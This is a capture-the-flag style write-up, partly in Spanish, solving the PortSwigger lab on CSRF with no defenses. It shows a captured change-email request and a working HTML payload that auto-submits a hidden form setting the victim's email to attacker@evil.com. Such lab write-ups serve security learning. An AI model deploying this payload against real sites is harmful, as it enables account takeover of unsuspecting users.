CSRF vulnerability with no defenses

This lab's email change functionality is vulnerable to CSRF.

To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server.

You can log in to your own account using the following credentials: wiener:peter

https://siunam321.github.io/ctf/portswigger-labs/CSRF/csrf-1/

Luego de iniciar sesion, envio una request a update email envia un post request sin el token CSRF para prevenir a otro website enviar la misma request, entonces podemos crafter una web que envie esta misma request.

POST /my-account/change-email HTTP/2
Host: 0a4a00cf047010d180a88559008600b0.web-security-academy.net
Cookie: session=maU7bswIvGSmj7bkcuBm9gwX0u5mrXHe
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0a4a00cf047010d180a88559008600b0.web-security-academy.net
Referer: https://0a4a00cf047010d180a88559008600b0.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Pwnfox-Color: cyan
Priority: u=0, i
Te: trailers

email=wiener%40normal-user.net

Revision de como esta construido el form para actualizar el email

                        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
                            <label>Email</label>
                            <input required type="email" name="email" value="">
                            <button class='button' type='submit'> Update email </button>
                        </form>

<html>
	<head>
		<title>CSRF-1</title>
	</head>
	<body>
		<form action="https://0a3700ea032ba1d8c2ef1284006800d3.web-security-academy.net/my-account/change-email" method="POST">
		    <input type="hidden" name="email" value="attacker@evil.com">
		</form>

		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>